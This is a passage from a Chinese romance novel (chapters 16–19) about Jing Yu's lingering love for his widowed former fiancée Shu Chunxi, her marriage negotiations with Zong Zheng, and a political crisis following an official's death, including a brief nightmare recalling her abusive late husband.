舒纯熙你到底为什么这么对我?你怎么能这么绝情呢? 你在我面前说过的话,哪件事我没有放在心上,唯一一次没有顺着你的意思来,你立刻就转身嫁了别人。 那我怎么办? 敬渝摇着头,突然觉得现在他不应该再待在这里,这不是一个说话的好时候,他的心太乱了也太委屈了。 他知道她始终怨恨当年他的沉默,以至于到现在也不给他一个好脸色。 但他也想跪在她脚边问问她,为什么那时候就那么绝情,他们那么多年的感情,他又怎么会不管她,她到底为什么不相信他? 但她连一个解释都没要求,也压根没给他解释的机会。 那段时间他忙得焦头烂额,一面商会一面舒家,还要压着敬家的人不乱来,等他好不容易稳定了局势的时候,她都在莫瑞恩尔跟敬亭结婚了! 他还一直都想问问她,当初怎么能抽身得那么爽快,怎么能就这样把自己给抛弃了呢?! 此后,她跟敬亭成双入对、羡煞旁人,他倒成了个彻头彻尾格格不入的旁观者。 每一次面对他们两个,他的心都在滴血啊。 脑子里的思绪纷乱地涌来,像是要在这一刻把过往所有压抑着的东西都给带出来,把心里面那些负面的情绪给放大数百倍。 敬渝抿着唇,面色铁青地转了身,快步地离开了舒纯熙的房间,脚步很快地下了楼。 。 书房里只亮着一盏小灯,是沙发旁一只小几上的弧形台灯。淡黄色的灯光黯淡,给房间里的一切都罩上了一层朦胧与幽暗。 敬渝倚在沙发背上,面上没有一点生气,直愣愣地睁着双眼,一动不动。 月落日升,天光逐渐从窗外照进屋内,逐渐地跟那盏小灯散发出的幽光融合在一起。 今天本该是去公司的日子,但已经过了寻常出门的时间,敬渝也没有动身。 郑徽当然也是在书房找到的敬渝,在他的生活里,待在书房里的时间恐怕是比卧室还要久。 但此时这个男人却并不是在书房里处理工作,相反,他整个人摊在沙发上,旁边是倒了两三个空了的酒瓶。 波尔文市的特色烈酒,酒香醇厚,后劲儿很大,一向都是搭配着果汁饮料调配在一起喝的。 但敬渝一向是没有赏酒的闲情的,郑徽皱着眉朝他走近,目光扫过地下的酒瓶样式才收回来,落在紧皱眉心、双眼难耐地闭合上的男人脸上。 一夜过去,他下巴上的胡茬已又窜出来,隐隐看得见一片淡青。 但这张脸的主人完全没有要打理它的意思,反而颓废地躺在沙发上,无精打采,失魂落魄。 郑徽将路上的一只酒瓶踢进茶几肚里,清开了路,走过去站在他身旁,抽了抽嘴,问: “敬总,你还好吗?” 他还好吗? 敬渝没睡着,没有睡着也没有醉得意识不清,甚至郑徽进来的时候,他也能听得见动静,但他只是累得不想睁眼而已。 对啊,他还好吗? 他也答不上来,光是用力地牵起嘴角,摆出一个云淡风轻的笑容,就已经要用去他所有的力气了。 “车在外面等,需要我取消今天所有的行程吗?” 耳边那个声音又从自上方传过来。 “不用……” 终于,敬渝张开了嘴,嗓子却哑得厉害,里面火烧烧地在疼, “我休息一会儿,下午再去公司。” “好的,我会安排好的。” 郑徽说完,本应该离开,却又看着敬渝现在的样子犯了难。 那种借酒消愁的事情,他从前以为是永远不会跟敬渝扯上关系的呢。 但现在,情况已然很明显,并且眼前这个男人买醉的经验还很不充足。 昨天的事,整个敬宅里的人应该都知道,但是具体是怎么回事,大家也不知全貌。站在郑徽的角度上来看,他也只是知道舒小姐把敬渝用心准备的房间给毁了,除此之外,前因后果,无从得知。 在心里叹了一口气,郑徽脚步没有动,有心想劝一劝敬渝,宽慰他,但又不知道该从哪里开口。 终于,他硬着头皮从嘴里挤出来几个字,道: “敬总,有什么事想不开,你跟我说,我们一起想。” 然后,郑徽就看见自己的老板脸上,非常配合地勾出一个温和的笑容,倒像是反过来在安慰他这个没事人一样。 可自己明明一切都好,而敬渝却看上去要死不活,两相对比之下,郑徽都有点不忍心起来,但他还是把敬渝嘴角的弧度解释为了一种苦涩的情绪。 最后,敬渝没开口说什么,他也只能在原地站了一会儿,然后又提起脚,准备离开。 大概是听到一派寂静之后,他再度动身的窸窣声,敬渝突然睁开了双眼,目光飘忽不定,虚虚地落在眼前,不知道究竟在望向何处。 然后郑徽就听到敬渝直愣愣地说了一句, “你知道么,纯熙本来是我的未婚妻。” 这句话说得没头没尾,像是在跟自己说,又像是在说服他自己一样。 郑徽听得眼皮子直跳,心想这我当然知道啊,然后呢? 然后,敬渝没继续说下去了。 他坐在那儿,动作迟缓地坐正了身子。 脸上好像是一种不得不接受现实的平静,压制着心底里原有的绝望。 但经过这一夜,烈酒浇心,独坐苦想,他的心里好像又有了一点别的什么。 比如,他终于在跟自己的斗争里落了下风,然后不得不承认一件事。 那就是,事到如今,他敬渝,确实枉为君子,只因为他心里还是惦念着他曾经的未婚妻。 无论他告诉自己多少遍,她已经放弃了他,转而选择了他的堂弟,即使敬亭如今死了,这一点也并不会因而有什么改变,他还是会想着舒纯熙。 他想着他们过往的那些回忆,想念那个真诚可爱、率真娇贵的舒大小姐。 想她热烈得如同太阳光一样的爱意,想她全身心的依赖,想她向他撒娇撒泼,想她跟他一连说许多话。 他好想,他无时无刻不在想回到从前的那 时候。 但他想这些又有什么错呢? 舒纯熙本来就是他的未婚妻,她本来就应该是他的妻子。 他愣愣地在心里面告诉自己。 郑徽不知道他心里都想了些什么,只是抚着额,有点迟疑地开口,提了一句: “二夫人,是不是已经怀孕了?” 敬渝原本合着的双唇动了一下,终究没有张开的力气,像是搁浅的海鱼一样,无力挣扎。 双肩像是被抽了筋骨一样,颓唐地塌落了下去。 对啊。 舒纯熙怀孕了呢。 他还算什么呢。 他早就是过去式了。 她明明不要他了,事到如今都只是他一厢情愿而已,真是可笑。 敬渝笑出声来,突兀的一声响在书房里,听起来凄惨又悲凉,那一声钻进了骨子里,搅得他浑身的骨头都疼起来。 第17章 敬渝言出必行,待到下午两点钟,已然收拾好了自己,下了楼,与等在大门外的郑徽碰面。 男人一席挺拔西装,外面披着一件深色风衣,里面的衬衫纽扣扣到最上面一颗,样式简单的银质领针将双领固定住,抵着上方一条深蓝色的细领带,没入西装里。 目光里流露出一点隐约的疲态,但更多的是如同海浪般将一切吞纳进去的平静,整个人散发着泰然自若的气场,身影却萧索,如同山崖边的一株孤松。 昭示着,早晨他跟自己说出口的那明显带着不甘心的一句话,已经是他这个人能做出的最大的出格,亦是最后的。 敬渝到了公司,处理了几件堆积的事务,就已经到了五点。 郑徽拿着平板,正要跟他汇报下个月暮帆商会的两条新船队要从哪个港口出发,身后办公室的门突然被拍得很响。 那扇深褐色的厚重双开木门,因外面人的急切的动作发出沉闷的声音。 这在暮帆商会,实在是难得一见的事情,毕竟外面是有门铃的。 得是什么样的急事,才能让人慌成这样? 敬渝和郑徽都被吸引了注意力,坐在书桌后的人沉着眉头,朗声说了句“进”。 门从外面被一把打开,又很快合上,进来的人是秘书室的游之翎,瘦高瘦高的一个青年。 游之翎匆忙走到办公桌前面,低声向敬渝报道着几个小时之前才发生的一件事。 “敬总,首都第一医院的人传来了消息,说是祝司长今天中午突发急症,人送到医院的时候就已经走了。 “事发实在突然,他家里人也只能先封锁消息,未发讣告,不过,应该也瞒不了多久了……” 郑徽愕然,上前一步走到游之翎手上,就差激动得抓起他的衣领来, “你说什么?祝司长不是一向身体康健的么,又怎么会突发急症?” 游之翎脸上的表情也不好,声音没有底气地更低了起来,悻悻地说: “线人说,祝司长这么多年都是在首都第一医院里看病、做检查身体的,应当是一直有先天性的心脏隐疾,只是可以让人隐瞒了下去,不曾张扬。” 祝文兵如今六十多的年纪,时任国财政司司长,举足轻重,不想将软肋暴露在大众面前,也是情有可原。 只是突然来了这么一遭,他们倒是措手不及…… 郑徽一言难尽地转过身,看了一眼敬渝的表情。 他神色沉重,面色比起他们来也好不上多少,眼睫颤动几下,从桌后站起身来,就要去拿外套,一边走一边对着身后的两人说: “唐廪留下主事,你们俩跟我一起去北省,尽快,少带些人,不要惊动任何人,现在就去准备。” 说完,后面两人已经各自走动起来,游之翎先出去了,他要去点人、安排飞机跟航线。 而敬渝已经穿好了外套,从衣帽架旁的柜子里找出来一副眼镜,一顶黑色帽子,并一副口罩,往自己身上继续穿戴换装。 “你留下来把之后几天的事情安排好,我要先去一等公狱一趟。” 说完,敬渝就走出门去,手机已经放在耳边,拨通一个电话,拨号等待音响在耳畔,伴随着他快步走到电梯间。 电话那头没有接通,发出冰冷的“滴”声后录音的语句,敬渝拧着眉,只好先上了电梯。 。 舒纯熙这一夜睡得又很不好。 敬渝找她说了那么大一段话,她也说不出来心里面有什么感受。 左耳进右耳出,赌气似的一直在心里嚷嚷着“不听不听”,但大多数时候,她还是像个旁观者一样,冷眼观看着敬渝的剖白过程。 这种事情他以前也常常这么做,得心应手的程度足够被舒纯熙看穿了。 无非是惹她生了气伤了心,没办法了玩脱了,才只好跑过来哄她。 那平时清正严肃的人,一板一眼地同她道歉的样子总是敢怒不敢言的样子,好像每次都要把他自己弄得很“屈辱”的样子,总是惹得舒纯熙觉得很好笑。 随即他再把她这一次非要却没有讨到的东西向她奉上,这件事才算过去。 比如,舒纯熙就曾经用这种方式逼敬渝给她写过一封情书。 他是一贯得会装正经人,仿佛那是一件多么为难他的事,拒绝得义正言辞,非得将自己气得一边抹眼泪大哭一边跑开。 后来的结果毫无悬念,敬渝带着她要的那封情书来她家找她,先是羞红了半边耳朵,给她道歉赔罪,然后故作寻常,一派无事发生的样子,把那封信从书包里拿出来,随手放在手边的矮柜上,扭捏得要死。 舒纯熙没跟他计较太多,毕竟她真的很想知道敬渝这人会写出来什么样的情书。 两步走过去,在他面前得意洋洋地伸出一只手,擦着他身边的空气而过,那封信就到了舒纯熙手边。 大小姐的心里其实颇为激动,此时当然也生了点赧然,到了手的信并没有迫不及待地去打开。 拖鞋“哒哒哒”地在房间里响起,她跑到浴室好好洗了一遍手,然后才又跑出来,拿着那封信扑到床上趴着。 两只腿在空中一下一下地踢着,两只拖鞋很快从脚上褪下砸在地上的绒毯上,没了束缚,她的动作更轻盈,轻晃着,看起来惬意无比。 他今天是来道歉哄人的,没得到当事人的准话,敬渝自然不会自己找地方坐下去,而是就站在门边,没有再往房里走了。 起初那阵子的害羞跟尴尬,也因舒纯熙注意力的转移而散了下去,他眼睛很快移开,看向落地窗外的绿茵日光,还算气定神闲地依着门框,等着人去拆信。 舒纯熙的食指洁净干涩,上面染着洗手液的栀子花清香,拆开了面前这封外表朴素的黄皮纸信封。 她屏息,小心翼翼地从里面拿出来一张白色的信纸。 里面就短短的两行字,遒劲有力的钢笔字力透纸背,誊的是曹植的《洛神赋》。 “翩若惊鸿,婉若游龙,荣曜秋菊,华茂春松。 髣髴兮若轻云之蔽月,飘飖兮若流风之回雪。” 舒纯熙盯着上面的字看了一会儿。 她虽然不能信达雅地把这几句古文都翻译成现代语言,但意思还是看得懂的。 而且,读完一遍,再去看信纸上面的“惊鸿”“游龙”“秋菊”“春松”什么的,她就不自觉得闹了个大红脸。 呼吸放缓,心跳一声一声加速,好像要从胸膛里跳出来一样,哪里还有她一开始趴在床上时幻想的闲适读信的场景啊。 她现在只觉得脸红得厉害,一点都不能冷静思考了。 不过,脑子里面晕乎乎的,但还是在心里面开始窃喜,原来在敬渝心里,他觉得自己就跟春松秋菊一样好吗? 虽然潜意识里总觉得,这家伙不可能老老实实地去写什么情书给自己,所以他写了什么,到底要怎么交差,她才会特别得好奇。 而敬渝的 这封信,也确实没有付诸于笔的“喜欢”或者“爱”,只是单纯的夸了她两句。 既见佳人,云胡不喜? 大概就是这个意思吧。 心里面就跟吃了蜜一样甜,先前的委屈和不高兴早就被舒纯熙抛到了脑后,扬着唇角笑得像个五岁小儿。 或许是实在太高兴了,大脑也高兴到了宕机,一瞬间的时空停滞,然后画面忽然就一转。 面侧着被压在木门上面,赤裸的身体暴露在空气里面,冻得要起鸡皮疙瘩。 她看见自己伸出白净纤细的手臂,想把门给反锁。 身后男人的动作猛地一沉,激得她还没有碰到门把手,就只能瑟缩着收回了手。 “……锁门,让我先锁门好不好,嗯……” 语调里不自主地带了点讨好,但讨好没有有,就只能听得出委屈了。 无力地扒在门上的小手,毫不留情地被身后人攥在手里,就好像要攥碎了。 口中发出痛苦的呜咽,求饶的声音还没有发出,她忽然被钉在门后,为了适应他,踮起一只脚,还是站不稳,整个面前只有那门把手可以支撑。 但门都没有锁上,她维持着心里为数不多的清明,知道要是伸了手借力,只会把门给打开。 一时之间,进退维谷,委屈得要哭,身后的人却没有要放过她的意思。 “锁门干什么,打开了,正好把人都引来,让所有都看看你现在这样子?怎么不叫了,怕敬渝听得到么舒纯熙?嗯?” 心脏猛地被一拽,继续无情地捶打着,舒纯熙终于从这噩梦里面挣脱,忽然睁开了双眼,然后身体才后知后觉地求生般大口喘起气来。 她差点就要以为,自己偷偷梦到了敬渝,被敬亭给逮了个正着。 那他应该会弄死我的吧。 舒纯熙没有了睡意,也没有了什么生意,坐起身,找到床头的水喝了一口,望着天边熹微的晨光,在床头缩成一团,紧紧地用双手抱住了自己。 太阳就快升起来了,一点一点把所有地方都照亮,新的一天就要来了。 可惜跟她没什么关系。 第18章 舒纯熙这两年的睡眠质量很差,也很不容易入睡,更何况,冰火两重天,刚刚做过那样的一个前后诡异牵强的梦,她其实是不敢睡了,生怕再在梦里见到敬亭。 呆呆地坐在床头,熬着等天亮。 终于,日头升上来,照亮了一整个房间。 舒纯熙才如同被大赦的犯人一样,面如土色地走出门,下楼去吃早餐。 敬渝今天早上依旧不在,舒纯熙进到餐厅里,看见的就只有宗正。 昨天那一遭,宗正虽然一直待在自己的客房不曾露面,但事后还是弄清楚了个大概。 他从前只听说过舒大小姐娇贵,虽然是有些任性天真,但也不是个不讲道理的刁蛮女子。 可是昨天那一闹,砸东西纵火,说是泼妇行径都轻了,他实在是有点看不懂了。 按理来说她已经嫁到夫家,难不成这两年在莫瑞恩尔,那位敬二公子反而还将她宠得更无法无天了么? 莫瑞恩尔那儿有这么多间房子供她砸的么? 宗正被自己这多嘴多舌的行为惊到了,一面在心里告罪,一面在脸上表现得如常,打了个招呼之后,就把目光移开到别的地方。 用完早餐,宗正主动叫住了舒纯熙,提出跟他一起到庄园里走一走。 舒纯熙现在心情和精神都不怎么好,但对方到底是宗正。 她心想之前宗正的那番话,肯定是没有跟自己交完底,所以再谈上一谈,是很有必要的。 就这样,她说服了自己,撑着力气跟宗正一起往后面的花园走去。 一连走到林子深处,宗正也没有率先开口。 舒纯熙只觉得头昏眼花,实在没有了虚与委蛇的耐心,直截了当地说: “昨天宗先生的话,我回去考虑了一下,我很感激你递过来的橄榄枝,不过,我心里始终有一个问题,那就是你为什么会选择娶我?” 宗正的脚步停顿了一下,侧过头看了一眼从一开始脸色就不太好的女人。 有点迟疑,观察着她的脸色,思忖着是否要把昨天的话复述一遍。 只见舒纯熙有些不耐地抬起手,应该是猜到他的回答了,目光凌厉地扫过来,仿佛已经将他看得透彻,冷淡地问: “投之以木桃,报之以琼浆。宗先生既然知道我做这一切是为了什么,那也应该拿出些诚意出来,不是么? “难不成事到如今,宗先生还是不肯说真话么?” 原来如此,宗正笑了一下,也不兜弯子了,直接问道: “我问舒小姐一个问题,你可知敬二公子娶你,是为了什么?” 舒纯熙从鼻子里冷哼一声,面色比刚才更冷若冰霜,心里面的声音乱七八糟地叫嚣着,但那些答案她当然不能真的说出口。 压下心思,她耐着性子思考出了一个看起来最可行的答案,说: “为了保护我?” 宗正赞同地点点头。 “舒小姐说得对,敬亭娶你,是因为他不想让你真的死掉。而偏偏这世上有些人,想要你死。所以他娶了你,可以借着敬家的名号保护你。 “而我想娶你,则是因为,这世上还有一些人,想要你活。” 他神色严肃,目光灼灼,落进她眼里,与她对视。 舒纯熙的心却好像在此刻才触到了实地,逐渐平静了下来,开始运转,得以思考。 片刻后,她眨了一下双眼,丝毫不胆怯地回望过去,追问道: “哪些人,可否请你明示?” 宗正又轻笑着,那笑意里带着点促狭和青年人的意气风发,后退了一步,朝她正正经经地作揖行了一礼。 舒纯熙被他这么隆重的动作给弄得有点不自在,盯着他,然后听到男人浑厚的声音,含着笑意,说: “此为我宗家求娶舒小姐的聘物之一,我在宗家,恭候舒小姐大驾。” 舒纯熙这才迟缓地露出一个笑,只是那笑意不达眼底。 宗正看她这样子,大概是还需要考虑。 这也正常,毕竟不是小事,而且,舒纯熙也没有什么人可以商量着来,只能自己一个人琢磨。 这也是为什么,这次宗家只派了他这个一个同龄人来,若人多势众,坑蒙拐骗,岂不是会成了威逼利诱的坏事? 心中沉吟,舒纯熙率先踏出脚步,带着宗正一起往前走。 “舒小姐对敬宅好像很是熟悉?” 这林子里小径幽深,交叉路口也很多,宗正一路走过来,明显看得出来舒纯熙的了然于心,应该是对这地方很是熟稔的,大概并不是来上五六次就能练出来的。 “嗯,小时候在这里玩得多了,而且这么多年也都没什么变化。” 舒纯熙随口就答道,带着他在一处鹅黄色的美人蕉花丛旁边止住,然后转过来,看样子是思索出了什么结果了。 宗正成竹在胸,洗耳恭听。 “如果我们结婚的话,我希望我们之间可以不要论感情,甚至如果你愿意的话,只有夫妻之名,没有夫妻之实也是可以的。这你可以接受么?” 宗正又惊讶了,他发现舒纯熙总是能说出来让他愕然的话。 但思绪很快就在脑子里过了一下,沉默了一会儿,他反问道: “难道,你其实有意相仿古法,为敬亭守孝三年?或者,你心里其实另有其人?” 这个其人,他又很快猜测为敬渝,只是不能挑明。 舒纯熙在他的追问里感到无奈,继而泄气。 “不是上面的任何一个原因,我只是觉得,如果你想从我这里还要得到一份感情的话,我们都会很辛苦,然后不欢而散……所以这件事我必须得提前跟你说好。” 就比如她的上一任婚姻,当时她嫁给敬亭的时候,他们就是谈感情的,她更是天真愚蠢地觉得自己可以用一份感情去回报他。 然后 ,她收获的就是一地鸡毛的婚姻生活,跟敬亭成了一对怨侣,至死不得和解,恩人反成仇人。 “实话实说,我虽然是出于利益才想要与你缔结姻缘,但并没有做要过貌合神离的婚姻生活的打算。 “如果你不是因为心里有别人,那是……那是对我有什么误解,亦或是有什么意见吗?如果有的话,那你可以和我直说。 “我一向洁身自好,并没有在男女关系方面有什么前科,结婚以后,也更是不可能有的。” 宗正静静地看着她,言辞还算诚恳。 舒纯熙嗫嚅了几下,这下竟然透露出一点怯懦和犹豫来, “所以,你是想跟我好好培养感情,还要好好地过一辈子?” 宗正拧眉,他心知自己此行,让舒纯熙答应跟他们的结盟才是最重要的。实在不行现在应下,等到婚后再徐徐图之改变她的主意,这也是个方法。 但归根结底,他还是一个执拗的性子,总觉得她既然在这方面都要求了,那就应该在婚前谈判的时候,彻底说开,并且他现在,还很不想接受舒纯熙的建议,甚至想要尽力扭转她的想法。 “不然呢?你不会还要说什么,婚后各过各的、互不干扰吧?我宗家绝没有这样的夫妻。” 宗正有点无奈地按了下眉头,像是拿她没办法了,叹气道: “舒小姐,我的家世你也知道,还是说你觉得,如果我实在是不愿意,又有谁会非要逼着我与你结婚么?” 面前的人继续不语,蹙眉垂头的样子,像是在苦思冥想他的问题。 “所以,你现在有一点喜欢我?或者说,你觉得再给你一点时间,你以后总会喜欢上我的?” 她觉得很奇怪,说出这样的话来她自己都心虚。 但他喜欢她什么呢? 她已经不觉得自己有被真心喜爱的可能了,爱情这种东西她始终是弄不明白了。 她只有两段失败的感情经验,这道题自己从来就没有解出过正确答案。 而舒纯熙身旁的宗正从来没有被人问过这样的问题,一时之间双颊绯红,假模假样地咳嗽了好几声。 “那你呢,你就算不喜欢我,难道讨厌我么?” 他虽然把问题抛了回来,但是并没有否认舒纯熙的猜测。 “我不讨厌你。” 但是不讨厌又有什么用呢? 她早就没有勇气再去经营一份感情了,因为这份感情不可能回报给她任何一点好的结果,她已经不会再蠢得离谱了。 舒纯熙躲避似的摇了摇头,连忙道: “我说的话你好好考虑一下吧,你的话我也要再考虑考虑。” 说完,好像是故意不给他机会再说什么,舒纯熙立刻转了身,快步循着来时路,往回走了。 。 凌晨的梦终究把舒纯熙吓到了,她总疑心自己会回到莫瑞恩尔,回到波利市她跟敬亭的那个家。 但自从回到维尔亚她才敢承认,她其实根本就不想回到那里。 回到房间后,她就开始好好地想宗正今天跟他说过的话,然后在心里推算他说的那些人。 不得不说,他的胃口吊得很足。 而且,今天他还给自己透露了一个十分有用的新信息。 舒家身处的这场政治斗争里,有人要把这颗棋吃掉,就有人要把这颗棋保住,然后,再利用这颗棋吃掉其他的棋。 这个信息无异于久旱逢甘霖。 她于迷雾之中行走了两年多,现在,保棋的人,总算要出现了。 而且,如果她没有猜错的话,舒家平反的可能性很大。 毕竟,无论宗家受了谁的授意,抑或只是得到了消息想要提前站队,他们如今的所为,都无异于为舒纯熙心中的那个想法加了足够的砝码。 只有舒家人平反复位的可能性大到一定的程度,才值得宗家主动抛来橄榄枝,不是么? 宗家当然不是为了什么矿山的生意,他们看的更不是现在的自己,他们看的,其实是平复之后的舒家。 届时,她还有什么与宗正不般配的地方? 舒纯熙已经想明白了。首都的局势,她虽然看得不够清楚,但宗家人,已经先一步替她看过了。 当然,这一切都还是建立在,宗正是真的可信的基础上的。 她始终不敢轻信任何人。 就这样想着想着,舒纯熙吃了午饭又吃了晚饭,然后到了要睡觉的时候。 本来白天沉迷在思虑之中,有些事情她还没觉得有太大的影响。但夜幕降临,她看着等到关了灯就会变黑的房间,心里的踌躇滚雪球一样,害得她不敢闭眼。 是啊,早上不是就梦到敬亭了吗,而且今天下午她还跟别的男人考虑再嫁的事情呢,敬亭那种疯子,肯定不会放过她的。 舒纯熙在房间里面坐立不安,思前想后,还是决定去给敬亭上柱香,跟他好好地了结。 但等她穿好衣服下了楼,又站在空悠悠的大厅里犯了难。 敬亭如今的牌位自然是供奉在敬宅的那座祠堂里面,但是现在已经很晚了,她是绝对没有胆子走夜路去祠堂给敬亭上香的。 就这样,拧着眉头站在客厅里面好一会儿,舒纯熙才总算想到一个好方法。 然后她跑上跑下,在厨房还有客厅的储物柜里找出来自己要的东西,在客厅通向前厅草坪的一扇落地窗前摆了一方小型简易的祭拜香案。 一次性纸杯里面盛了小半杯米放在前头,然后又用小碟子盛了几样贡品瓜果,她还尽量捡敬亭以前喜欢吃的拿的,每样量不多,意思一下得了。 然后,一切准备工作就绪。 舒纯熙跪在瓷砖上放着的一个草垫,上身带着大腿都挺直,直愣愣地跪着,在月下祭拜的心很是虔诚。 伸手拿了三支香握在手上用打火机点燃,然后双手合十,她朝着月亮的方向拜了三拜,然后跪坐下来,在心里开始跟敬亭说话。 第一,她说他的死,她很抱歉,确实是自己连累了他,但是他也欠她孩子的一条命,所以就此抵消,以后她也不会再怨他,希望他也不要怨自己; 第二,她说当年你向我伸出援手,从最后你身死的结果来看,我也知道承了你莫大恩情,但你也折磨了我这么长时间,我已然生不如死,也算偿还了你的恩情了; 最后,虽然你刚死没多久我就要再嫁,是有点不道义。但是人死如灯灭,你走了我却还要活。 可要是不再嫁,我恐怕也就没什么好活的可能性了,这一点你应该会理解我的吧。 “敬亭你别怪我,这次你就不要生气也不要嫉妒了,更不要发疯入梦来折磨我。 “我从前没有什么对不起你的地方,现在你死了,我要相亲再嫁了,特地还告知你一声,我实在是仁至义尽。从此往后,你我就没有任何瓜葛了。” 她在心里振振有词。 把要说的话都说完了,舒纯熙只觉得心里面压着的大石头好像是移开了一点,不管怎么样,确实是起到一点心理作用。 她深呼吸一口气,睁开了双眼,再度支起身子向前轻探,好好地把那三根香插进米里。 做完这些,她才有心思分出来去管其他的事。 从刚刚就听得到的动静,现在总算随着皮鞋在地上走动的脚步声化为了实质。 敬渝早在从楼梯下到一楼的时候就看见她了,小小的身影跪在地上,像是一点都不怕凉也不怕累的样子。 看样子,她应该是在祭拜敬亭。 敬渝便没动,静静地站在那里,等她祭拜完了,再朝她走了过去。 一走近,看着地上那张明显是她自己弄的香案,敬渝嘴角一抽,声音努力放得温和,主动跟她搭话,问道: “怎么这时候在客厅上香,是不是欧罗洲的时间还没倒过来,夜里会睡不着?” 舒纯熙一手撑着地砖,从草垫上起了身,瞥他一眼 。 因为昨天那一桩事横在心头,后面又做了那么个梦,以至于现在不得不在这里给敬亭上香,求得一点心安。 一想到这种种,舒纯熙就实在没有什么好脸色给敬渝,她亦是嘴角一抽,冷冷地问: “敬先生没看见么? “我正在祭奠亡夫。” 敬渝的两只瞳孔在她这声无比自然的“亡夫”里,细微地放大了一点,垂在身侧的手掌动了动,然后干巴巴地垂着,不可避免地又沉默了下来。 第19章 敬渝的两只瞳孔在她这声无比自然的“亡夫”里,及不可见地放大了一点,好像微瞪着她一样。垂在身侧的手掌动了动,却又只能干巴巴地放着。最终,男人倏忽间垂下眼帘,不可避免地沉默了下去。 两人相顾无言,静了好一会儿,敬渝才又开了口,这次是言简意赅地向她交代了两句,说: “我现在要去北省一趟,少则三四天,多则不定,消息会暂时对外保密。” 其实他今晚本可以不回来的,让人收拾好行李送去机场就行。 但不知道为什么,从一等公狱离开后,他还是回到了这里。 或许冥冥之中,他还是人生中第一次觉得,在他本可以不留恋的家里,现在也是存在着一个人,让他在出远门之前会想要回来再看一眼的。 尽管时间并不充裕,尽管他心里猜测,此时她已经睡熟了,并不会跟自己遇上。 但现在来看,如果忽略掉她刚刚说的那句话,上天终究还是眷顾他的。 “家里的人都留给你,要是有什么事情,你做主就行。遇上什么解决不了的难事就联系我,或者问柳叔和李阿姨,他们会帮助你解决。 “不管做什么都要注意安全,要出门的话就让柳叔安排车和人,保镖会跟在你身边保护你的。” 临行前的嘱咐就这么几句,他已然说完,然后凝着目光又看了她十几息,得到她抬眼后的一个“嗯”字,他也不再流连,侧转身往外面走。 大门打开,修长的身影隐出去,然后“吱呀”一声,门被人从外面有点重地关上,回归原位。 整栋房子,恢复了一开始的静寂。 舒纯熙眨了眨眼,立刻抬起步子往相反的方向走。 。 敬渝关上门,沉着脸步入夜色之中。 大门外台阶下,一辆保姆车正在等着,后座门缓缓打开,游之翎坐在靠内的后座上,在他靠近后点点头,“敬总,都安排好了,可以出发了。” 敬渝“嗯”了一声,车门关上,司机已经发动车子,掉过头后往外开。车从敬宅出来之后,原本等在庄园外的两辆保姆车也很快跟上,三辆车以差不多的速度疾驶在高速路上,往飞机场的方向去。 后座的敬渝闭上双眼,双手搭在支起的二郎腿上,养心宁神的仰靠着。 副驾驶的郑徽手握平板,正在加班加点的收集首都目前的资料,虽然他知道,现在他们眼前的这件事情,重点还是在于敬渝要如何决断,早已经不是他们提前多掌握点资料,就能够解决的问题了。 但他也不知道除此之外,还能够做点什么,才能在这种要紧的关头,减轻一点心里的煎熬和焦虑。 游之翎虽然没有在做事,但跟郑徽的想法差不多。 司机也不曾说话,本就是夜间行路,此时的氛围称得上是凝滞得有些压抑,他也只好抿着唇,默不作声的同时,踩油门的脚上又加了点力。 忽然,敬渝从沉思里睁开了双眼,偏头看了一眼身旁的游之翎,慢吞吞地问道: “我记得你是抽烟的?” “啊,呃对,怎么了敬总?” 敬渝盯着游之翎的脸看了几息,才继续道: “那你知道,抽烟对身体有伤害吗?” 此时车在高速上飞速奔驰,道上的反光带和高耸的路灯光规律般间断地投进车厢内,忽明忽暗地落在话音刚落的人的脸上。 游之翎因而不太看得清楚敬渝的脸色,只见他瘦削的下巴微扬着,两只眼睛盯着自己在看,以为他是要教育起自己的意思。 心里不免有点奇怪,但是他又观察了敬渝一会儿,旁边的人始终没有再开口说下一句话,看来没有准备一大堆后文,好像真的只是想问他这个问题而已。 半晌,游之翎的心上不去又下不来,才打哈哈似的干笑了两声,回答道: “知道是知道,但是吧,烟这个东西确实是有点瘾,不是那么好戒的嘛。” 敬渝眨了下眼,目光落下去,“唔”了一声,声音低了一点, “那你最开始,是因为什么才去学的抽烟?” 游之翎伸展了上半身,两只手交叠着抵在脑后,变换了一下坐着的姿势,惆怅地叹出了一口气,目光幽幽地盯着前方,开始回想自己最开始抽烟的那个原因。 “要我说,烟有什么好抽的,我也真说不上来。不过一个人学抽烟,大概都有那么一个契机。这种时候,接触到了烟,尝试了,可能就接受了,然后就习惯了,烦的时候就想抽上一根,权当慰藉了。” “所以你抽烟,是因为心里面有烦心事?” “那当然,有些事情堵在心里面久了,想解决吧,又解决不了,但是又没办法真的不去想,越想又越烦,只能自己想办法疏解了,比如抽烟嘛。” “所以,真的管用么?” “管吧,多少也管点用,毕竟事情没办法解决,但是烟还能陪着我嘛,哈哈。” 游之翎又干笑两声,用余光瞥了一眼敬渝,不知道他为什么会聊起这件事情,但男人脸上的神色依旧看不真切,隐没在黑暗里,捉摸不住。 凌晨四点半,敬渝一行人抵达了首都的祝宅。 一家人本应该在睡觉,此时整栋房子里的灯却没有熄灭。 等了没多久,铁门栏杆向两边打开,供车驶入。 到了大门,敬渝和两个秘书下了车,一个青年人已经在门外等着。 祝郧阳与敬渝差不多年纪,看上去有些文弱,许是因为这几天都没有休息好,整个人在风中看上去有点单薄,捂着口鼻狠狠地咳嗽了好几声,呛得满脸通红,好像还没有缓过来气。 敬渝肃穆地颔首示意,低声说了句“节哀”。 “劳烦敬总挂牵,”祝郧阳转过身打开门,带着他们进了门,直接往楼梯处走,“父亲就在书房等您,敬总请跟我来吧。” 一行人动静很小,到了书房,祝郧阳领着敬渝进去后,很快又出来,关好门,然后同游之翎与郑徽一齐在门口等着。 里面的人交谈声很小,几乎听不见,外面的人当然也不会刻意去探听什么,恐怕除了里面的当事人,没有人知道这天晚上,他们究竟谈了些什么。 亦或是,在祝文兵已经仙去之后,他们又要做什么,才能继续推进他们原本要做的事情。 …… 话说得差不多,敬渝从椅子上起身,祝正扬亦紧跟着站起来要送他,但跨步之前,他凝望着眼前这个比自己小一辈的青年人,最后还是忍不住犹疑,问出了口。 “所以敬总此番,是真的下定了决心,非要替舒家翻案不可么?” 面前的青年人二十七八岁的模样,面上早不复青涩,取而代之的是不符合年纪的沉稳,像是一把尘封在刀鞘里面的宝刀,虽然没有出鞘,却还是带着让人忌惮的镇定感。 祝正扬跟父亲祝文兵的志向并不一样,关于父亲跟敬渝暗中达成的协定,他也不是很清楚。 